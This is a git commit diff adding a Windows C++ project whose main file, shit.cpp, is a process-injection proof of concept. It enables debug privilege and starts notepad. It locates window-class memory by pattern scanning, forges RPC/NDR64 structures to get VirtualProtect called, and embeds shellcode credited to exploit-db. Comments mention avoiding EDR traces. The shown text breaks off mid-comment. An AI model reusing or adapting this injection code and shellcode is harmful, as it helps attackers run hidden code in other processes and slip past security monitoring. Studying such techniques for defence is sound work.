添加项目文件。
This commit is contained in:
30
Resource.h
Normal file
30
Resource.h
Normal file
@@ -0,0 +1,30 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ 生成的包含文件。
|
||||
// 使用者 shit.rc
|
||||
|
||||
#define IDS_APP_TITLE 103
|
||||
|
||||
#define IDR_MAINFRAME 128
|
||||
#define IDD_SHIT_DIALOG 102
|
||||
#define IDD_ABOUTBOX 103
|
||||
#define IDM_ABOUT 104
|
||||
#define IDM_EXIT 105
|
||||
#define IDI_SHIT 107
|
||||
#define IDI_SMALL 108
|
||||
#define IDC_SHIT 109
|
||||
#define IDC_MYICON 2
|
||||
#ifndef IDC_STATIC
|
||||
#define IDC_STATIC -1
|
||||
#endif
|
||||
// 新对象的下一组默认值
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
#define _APS_NO_MFC 130
|
||||
#define _APS_NEXT_RESOURCE_VALUE 129
|
||||
#define _APS_NEXT_COMMAND_VALUE 32771
|
||||
#define _APS_NEXT_CONTROL_VALUE 1000
|
||||
#define _APS_NEXT_SYMED_VALUE 110
|
||||
#endif
|
||||
#endif
|
||||
15
framework.h
Normal file
15
framework.h
Normal file
@@ -0,0 +1,15 @@
|
||||
// header.h: 标准系统包含文件的包含文件,
|
||||
// 或特定于项目的包含文件
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
|
||||
// Windows 头文件
|
||||
#include <windows.h>
|
||||
// C 运行时头文件
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
#include <memory.h>
|
||||
#include <tchar.h>
|
||||
93
rpc.h
Normal file
93
rpc.h
Normal file
@@ -0,0 +1,93 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <Rpc.h>
|
||||
#include <rpcndr.h>
|
||||
|
||||
typedef struct _NDR64_PROC_FORMAT
|
||||
{
|
||||
/* 0x0000 */ unsigned int Flags;
|
||||
/* 0x0004 */ unsigned int StackSize;
|
||||
/* 0x0008 */ unsigned int ConstantClientBufferSize;
|
||||
/* 0x000c */ unsigned int ConstantServerBufferSize;
|
||||
/* 0x0010 */ unsigned short RpcFlags;
|
||||
/* 0x0012 */ unsigned short FloatDoubleMask;
|
||||
/* 0x0014 */ unsigned short NumberOfParams;
|
||||
/* 0x0016 */ unsigned short ExtensionSize;
|
||||
} NDR64_PROC_FORMAT, *PNDR64_PROC_FORMAT; /* size: 0x0018 */
|
||||
|
||||
/*
|
||||
#define ULONG_PTR_T ULONG_PTR
|
||||
#define PTR_T *
|
||||
|
||||
typedef struct _RPC_DISPATCH_TABLE_T {
|
||||
UINT DispatchTableCount;
|
||||
RPC_DISPATCH_FUNCTION PTR_T DispatchTable;
|
||||
ULONG_PTR_T Reserved;
|
||||
} RPC_DISPATCH_TABLE_T, PTR_T PRPC_DISPATCH_TABLE_T;
|
||||
|
||||
typedef struct _RPC_PROTSEQ_ENDPOINT_T {
|
||||
UCHAR PTR_T RpcProtocolSequence;
|
||||
UCHAR PTR_T Endpoint;
|
||||
} RPC_PROTSEQ_ENDPOINT_T, PTR_T PRPC_PROTSEQ_ENDPOINT_T;
|
||||
|
||||
typedef struct _RPC_SERVER_INTERFACE_T {
|
||||
UINT Length;
|
||||
RPC_IF_ID InterfaceId;
|
||||
RPC_IF_ID TransferSyntax;
|
||||
PRPC_DISPATCH_TABLE_T DispatchTable;
|
||||
UINT RpcProtseqEndpointCount;
|
||||
PRPC_PROTSEQ_ENDPOINT_T RpcProtseqEndpoint;
|
||||
RPC_MGR_EPV PTR_T DefaultManagerEpv;
|
||||
void const PTR_T InterpreterInfo;
|
||||
UINT Flags;
|
||||
} RPC_SERVER_INTERFACE_T, PTR_T PRPC_SERVER_INTERFACE_T;
|
||||
|
||||
|
||||
typedef struct _NDR_EXPR_DESC_T
|
||||
{
|
||||
const unsigned short PTR_T pOffset;
|
||||
const unsigned char PTR_T pFormatExpr;
|
||||
} NDR_EXPR_DESC_T;
|
||||
|
||||
|
||||
typedef struct _MIDL_STUB_DESC_T {
|
||||
void PTR_T RpcInterfaceInformation;
|
||||
void PTR_T pfnAllocate;
|
||||
void PTR_T pfnFree;
|
||||
void PTR_T pAutoHandle;
|
||||
const VOID PTR_T apfnNdrRundownRoutines;
|
||||
const VOID PTR_T aGenericBindingRoutinePairs;
|
||||
const VOID PTR_T apfnExprEval;
|
||||
const VOID PTR_T aXmitQuintuple;
|
||||
const unsigned char PTR_T pFormatTypes;
|
||||
int fCheckBounds;
|
||||
unsigned long Version;
|
||||
VOID PTR_T pMallocFreeStruct;
|
||||
long MIDLVersion;
|
||||
const COMM_FAULT_OFFSETS PTR_T CommFaultOffsets;
|
||||
// New fields for version 3.0+
|
||||
const VOID PTR_T aUserMarshalQuadruple;
|
||||
// Notify routines - added for NT5, MIDL 5.0
|
||||
const VOID PTR_T NotifyRoutineTable;
|
||||
|
||||
ULONG_PTR_T mFlags;
|
||||
// International support routines - added for 64bit post NT5
|
||||
const VOID PTR_T CsRoutineTables;
|
||||
void PTR_T ProxyServerInfo;
|
||||
const NDR_EXPR_DESC_T PTR_T pExprInfo;
|
||||
// Fields up to now present in win2000 release.
|
||||
} MIDL_STUB_DESC_T, PTR_T PMIDL_STUB_DESC_T;
|
||||
|
||||
typedef struct _MIDL_SERVER_INFO_T {
|
||||
PMIDL_STUB_DESC_T pStubDesc;
|
||||
const VOID PTR_T PTR_T DispatchTable;
|
||||
const unsigned char PTR_T ProcString;
|
||||
const unsigned short PTR_T FmtStringOffset;
|
||||
const VOID PTR_T PTR_T ThunkTable;
|
||||
RPC_IF_ID PTR_T pTransferSyntax;
|
||||
ULONG_PTR_T nCount;
|
||||
VOID PTR_T pSyntaxInfo;
|
||||
} MIDL_SERVER_INFO_T, PTR_T PMIDL_SERVER_INFO_T;
|
||||
*/
|
||||
763
shit.cpp
Normal file
763
shit.cpp
Normal file
@@ -0,0 +1,763 @@
|
||||
// shit.cpp : 定义应用程序的入口点。
|
||||
//
|
||||
|
||||
#include "framework.h"
|
||||
#include "shit.h"
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include "teb_def.h"
|
||||
#include "rpc.h"
|
||||
PVOID
|
||||
SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address,
|
||||
SIZE_T readSize);
|
||||
|
||||
PVOID
|
||||
LookupTagClsAddressByProcess(HANDLE ProcessHandle) {
|
||||
#ifdef _WIN64
|
||||
#define START_ADDRESS (PVOID)0x00000000010000
|
||||
#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000)
|
||||
#else
|
||||
#define START_ADDRESS (PVOID)0x10000
|
||||
#define END_ADDRESS (0x7FFF0000 - 0x10000)
|
||||
#endif
|
||||
typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID,
|
||||
SIZE_T, PSIZE_T);
|
||||
static FnZwQueryVirtualMemory ZwQueryVirtualMemory =
|
||||
(FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"),
|
||||
"ZwQueryVirtualMemory");
|
||||
if (!ZwQueryVirtualMemory) {
|
||||
std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: "
|
||||
<< GetLastError() << std::endl;
|
||||
return 0;
|
||||
}
|
||||
MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0};
|
||||
PVOID CurrentAddress = START_ADDRESS;
|
||||
uint64_t TheTagClsAddress = 0;
|
||||
SIZE_T BytesReturned = 0;
|
||||
|
||||
while (true) {
|
||||
BOOLEAN ContinueEnum = FALSE;
|
||||
|
||||
RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo));
|
||||
|
||||
auto ntStatus = ZwQueryVirtualMemory(
|
||||
ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo,
|
||||
sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned);
|
||||
|
||||
if (ntStatus != 0) break;
|
||||
|
||||
do {
|
||||
if (MemoryBasicInfo.State != MEM_COMMIT) {
|
||||
break;
|
||||
}
|
||||
if (MemoryBasicInfo.Type != MEM_PRIVATE &&
|
||||
MemoryBasicInfo.Type != MEM_MAPPED) {
|
||||
break;
|
||||
}
|
||||
|
||||
// 自己的是PAGE_READWRITE 别人的是PAGE_READONLY
|
||||
if (MemoryBasicInfo.Protect != PAGE_READONLY) {
|
||||
break;
|
||||
}
|
||||
|
||||
TheTagClsAddress = (uint64_t)SundaySearch_ByProcess(
|
||||
ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69",
|
||||
(UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize);
|
||||
if (TheTagClsAddress != NULL) {
|
||||
break;
|
||||
}
|
||||
|
||||
} while (FALSE);
|
||||
if (TheTagClsAddress != 0) {
|
||||
break;
|
||||
}
|
||||
CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress +
|
||||
MemoryBasicInfo.RegionSize);
|
||||
}
|
||||
return (PVOID)TheTagClsAddress;
|
||||
}
|
||||
|
||||
void printHex(const char* name, const void* data, size_t size) {
|
||||
printf("%s: ", name);
|
||||
const unsigned char* byteData = (const unsigned char*)data;
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
printf("%02X ", byteData[i]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
struct _NDR64_PARAM_FLAGS {
|
||||
unsigned __int16 MustSize : 1;
|
||||
unsigned __int16 MustFree : 1;
|
||||
unsigned __int16 IsPipe : 1;
|
||||
unsigned __int16 IsIn : 1;
|
||||
unsigned __int16 IsOut : 1;
|
||||
unsigned __int16 IsReturn : 1;
|
||||
unsigned __int16 IsBasetype : 1;
|
||||
unsigned __int16 IsByValue : 1;
|
||||
unsigned __int16 IsSimpleRef : 1;
|
||||
unsigned __int16 IsDontCallFreeInst : 1;
|
||||
unsigned __int16 SaveForAsyncFinish : 1;
|
||||
unsigned __int16 IsPartialIgnore : 1;
|
||||
unsigned __int16 IsForceAllocate : 1;
|
||||
unsigned __int16 Reserved : 2;
|
||||
unsigned __int16 UseCache : 1;
|
||||
};
|
||||
typedef const void* PNDR64_FORMAT;
|
||||
typedef struct _NDR64_PARAM_FORMAT {
|
||||
void* Type;
|
||||
_NDR64_PARAM_FLAGS Attributes;
|
||||
unsigned __int16 Reserved;
|
||||
unsigned __int32 StackOffset;
|
||||
};
|
||||
/*
|
||||
.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF:
|
||||
Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const
|
||||
*)+31B↑o .rdata:00007FFF3A2784E0 ;
|
||||
Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ...
|
||||
.rdata:00007FFF3A2784E1 db 1
|
||||
.rdata:00007FFF3A2784E2 db 1
|
||||
.rdata:00007FFF3A2784E3 db 2
|
||||
.rdata:00007FFF3A2784E4 db 2
|
||||
.rdata:00007FFF3A2784E5 db 4
|
||||
.rdata:00007FFF3A2784E6 db 4
|
||||
.rdata:00007FFF3A2784E7 db 8
|
||||
.rdata:00007FFF3A2784E8 db 8
|
||||
*/
|
||||
enum class _Ndr64SimpleTypeBUfferSizeMap {
|
||||
kChar = 0,
|
||||
kShort = 2,
|
||||
kint32 = 4,
|
||||
kint64 = 6
|
||||
};
|
||||
// https://www.exploit-db.com/shellcodes/49819
|
||||
// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面
|
||||
unsigned char payload[] =
|
||||
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b"
|
||||
"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
|
||||
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08"
|
||||
"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
|
||||
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24"
|
||||
"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
|
||||
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6"
|
||||
"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
|
||||
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96"
|
||||
"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
|
||||
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e"
|
||||
"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
|
||||
"\x48\x83\xec\x20\x41\xff\xd6";
|
||||
void buildVirtualProtectShellCode(char* tmpShellcode,
|
||||
uint64_t editShellcodeLocation,
|
||||
uint64_t theNdrServerCallAllAddress,
|
||||
uint64_t shellCodeChangeAddress,
|
||||
uint64_t virtualProtectReturnValue) {
|
||||
|
||||
//第二个shellcode在编辑框里面,负责call virtualprotect
|
||||
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation;
|
||||
|
||||
// *Message->Handle + 0x80 = NdrServerCallAll
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
|
||||
|
||||
#define REMOTE_EDIT_ADDRESS(x) \
|
||||
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
|
||||
(ULONG_PTR)editShellcodeLocation)
|
||||
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
|
||||
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
|
||||
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
|
||||
MIDL_SERVER_INFO* RpcSrvInfo0 =
|
||||
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
|
||||
PVOID* DispatchTable0 =
|
||||
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO));
|
||||
MIDL_SYNTAX_INFO* SyntaxInfo0 =
|
||||
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
|
||||
MIDL_STUB_DESC* StubDesc0 =
|
||||
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2);
|
||||
ULONG_PTR* FmtStrOffset0 =
|
||||
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
|
||||
NDR64_PROC_FORMAT* ProcStr0 =
|
||||
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
|
||||
sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 +
|
||||
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
|
||||
|
||||
//_NDR_PROC_CONTEXT Ndr+Proc
|
||||
DispatchTable0[0] = (PVOID)VirtualProtect;
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
|
||||
|
||||
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0);
|
||||
(SyntaxInfo0 + 1)->FmtStringOffset =
|
||||
(USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0);
|
||||
RpcSrvInfo0->pSyntaxInfo =
|
||||
(MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0);
|
||||
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0);
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
|
||||
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
|
||||
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
|
||||
|
||||
|
||||
|
||||
RpcInterfaceInfo0->InterpreterInfo =
|
||||
(MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0);
|
||||
RpcMsg0->RpcInterfaceInformation =
|
||||
(RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0);
|
||||
RpcMsg0->ProcNum = 0;
|
||||
RpcMsg0->RpcFlags = 0x1000;
|
||||
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x100) =
|
||||
(ULONG_PTR)VirtualProtect;
|
||||
|
||||
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
|
||||
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
|
||||
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
|
||||
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
|
||||
// calcOffset += sizeof(ULONG_PTR);
|
||||
|
||||
/*
|
||||
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
|
||||
if ( pParamFlags->IsIn ||
|
||||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
|
||||
pParamFlags->IsPipe )
|
||||
continue;
|
||||
*/
|
||||
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
|
||||
// type的指针,这个type会读两次 **typeaddr
|
||||
auto fnSetNdr64Param = [&]() {
|
||||
static auto currentCopyCount = 0;
|
||||
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
|
||||
ndr64Param->Attributes.IsIn = true;
|
||||
ndr64Param->Attributes.IsBasetype = true;
|
||||
// auto typeAddress = tmpShellcode + calcOffset;
|
||||
// theParamTypeAddress.push_back(typeAddress);
|
||||
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
ndr64Param->StackOffset = currentCopyCount * 4;
|
||||
currentCopyCount += 1;
|
||||
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
|
||||
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
|
||||
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
theParamTypeAddress.push_back(ndr64Param);
|
||||
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
};
|
||||
|
||||
const auto virtualProtectParamSize = 8 * 4;
|
||||
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
|
||||
fnSetNdr64Param();
|
||||
}
|
||||
auto paramsBuffer = tmpShellcode + calcOffset;
|
||||
// 设置参数
|
||||
RpcMsg0->Buffer = (void*)REMOTE_EDIT_ADDRESS(paramsBuffer);
|
||||
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
|
||||
calcOffset += RpcMsg0->BufferLength;
|
||||
|
||||
// Make HandleType to 0
|
||||
ProcStr0->Flags = 1;
|
||||
ProcStr0->StackSize = virtualProtectParamSize;
|
||||
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
|
||||
|
||||
|
||||
auto tempCover = (uint64_t)shellCodeChangeAddress;
|
||||
memcpy(paramsBuffer, &tempCover, 8);
|
||||
|
||||
tempCover = (uint64_t)sizeof(payload);
|
||||
memcpy(paramsBuffer + 8, &tempCover, 8);
|
||||
|
||||
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
|
||||
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
|
||||
|
||||
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
|
||||
calcOffset += sizeof(uint64_t);
|
||||
|
||||
for (auto ndr64Param : theParamTypeAddress) {
|
||||
auto typeAddress = tmpShellcode + calcOffset;
|
||||
ndr64Param->Type = (void*)REMOTE_EDIT_ADDRESS(typeAddress);
|
||||
calcOffset += sizeof(void*);
|
||||
|
||||
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
calcOffset += sizeof(char);
|
||||
}
|
||||
|
||||
auto payloadAddress = tmpShellcode + calcOffset;
|
||||
tempCover = REMOTE_EDIT_ADDRESS(payloadAddress);
|
||||
memcpy(payloadAddress, payload, sizeof(payload));
|
||||
//I_RpcGetBufferWithObject
|
||||
//if ( !Message->Handle || *((_DWORD *)Handle + 2) != 0x89ABCDEF || (*((_DWORD *)Handle + 3) & 0x33307C) == 0 )
|
||||
*(ULONG*)(tmpShellcode + 8) = (ULONG)0x89ABCDEF;
|
||||
*(ULONG*)(tmpShellcode + 3 * 4) = (ULONG)0x33307C;
|
||||
// (*(__int64 (__fastcall **)(BINDING_HANDLE *, RPC_MESSAGE *))(*(_QWORD *)Handle + 0x68i64))(Handle, v4);
|
||||
//这里每个系统都不一样,我的是0x70
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x70) = (ULONG_PTR)tempCover;
|
||||
printf("payload address: %p remoteaddress: %p ", payloadAddress, tempCover);
|
||||
|
||||
}
|
||||
void PrivilegeEscalation() {
|
||||
HANDLE hToken;
|
||||
LUID luid;
|
||||
TOKEN_PRIVILEGES tp;
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||
&hToken);
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
}
|
||||
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
|
||||
_In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine,
|
||||
_In_ int nCmdShow) {
|
||||
PrivilegeEscalation();
|
||||
// 创建notepad进程,泄露就泄露了 去他妈的
|
||||
STARTUPINFO si = {sizeof(si)};
|
||||
PROCESS_INFORMATION pi;
|
||||
if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL,
|
||||
FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
std::cerr << "CreateProcess failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
// 等完全起来
|
||||
WaitForInputIdle(pi.hProcess, INFINITE);
|
||||
|
||||
// 获取notepad进程中edit窗口的句柄
|
||||
HWND hwndNotepad = FindWindow(L"Notepad", NULL);
|
||||
HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL);
|
||||
if (!hwndEdit) {
|
||||
std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 注册一个带有额外类内存的窗口类
|
||||
// https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN
|
||||
WNDCLASSEX wcex = {sizeof(wcex)};
|
||||
wcex.lpfnWndProc = DefWindowProc;
|
||||
wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64;
|
||||
wcex.lpszClassName = L"CustomWindowClass";
|
||||
wcex.hInstance = hInstance;
|
||||
if (!RegisterClassEx(&wcex)) {
|
||||
std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 创建一个仅消息窗口
|
||||
HWND hwndMessage =
|
||||
CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0,
|
||||
HWND_MESSAGE, NULL, hInstance, NULL);
|
||||
if (!hwndMessage) {
|
||||
std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
ShowWindow(hwndMessage, SW_SHOW);
|
||||
UpdateWindow(hwndMessage);
|
||||
#ifdef _WIN64
|
||||
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
|
||||
LONG64 dwNewLong, BOOL Ansi);
|
||||
#else
|
||||
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
|
||||
LONG dwNewLong, BOOL Ansi);
|
||||
|
||||
#endif // _WIN64
|
||||
|
||||
FnNtUserSetClassLong NtUserSetClassLong =
|
||||
(FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"),
|
||||
"NtUserSetClassLong");
|
||||
|
||||
if (!NtUserSetClassLong) {
|
||||
std::cerr << "NtUserSetClassLong GetProcAddress failed: "
|
||||
<< GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR
|
||||
newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr =
|
||||
(FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"),
|
||||
"NtUserSetClassLongPtr");
|
||||
|
||||
if (!NtUserSetClassLongPtr) {
|
||||
std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " <<
|
||||
GetLastError() << std::endl; return 1;
|
||||
}
|
||||
*/
|
||||
const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0,
|
||||
0x68, 0x75, 0x6f, 0x6a, 0x69};
|
||||
// https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705
|
||||
// offset = 0
|
||||
for (size_t i = 0; i < sizeof(shitInput); i++) {
|
||||
NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE);
|
||||
}
|
||||
// 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址
|
||||
// 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32
|
||||
// api edr绝对有痕迹 这里就是用readmemory
|
||||
auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1);
|
||||
if (TheTagClsAddress == 0) {
|
||||
std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess);
|
||||
if (TheNotepadTagClsAddress == 0) {
|
||||
std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError()
|
||||
<< std::endl;
|
||||
return 1;
|
||||
}
|
||||
for (size_t i = 0; i < sizeof(shitInput); i++) {
|
||||
NtUserSetClassLong(hwndMessage, i, 0x0, FALSE);
|
||||
}
|
||||
// 这个作者抄了这玩意
|
||||
// https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/
|
||||
// https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38
|
||||
|
||||
/*
|
||||
RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) {
|
||||
(*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD
|
||||
*)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll
|
||||
Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg
|
||||
Message);
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg)
|
||||
{
|
||||
struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax
|
||||
unsigned int v2; // [rsp+50h] [rbp+8h] BYREF
|
||||
|
||||
RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_
|
||||
**)pRpcMsg->RpcInterfaceInformation; v2 = 0;
|
||||
((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct
|
||||
_MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *,
|
||||
unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg,
|
||||
RpcInterfaceInformation[0xA],
|
||||
RpcInterfaceInformation[0xA]->DispatchTable,
|
||||
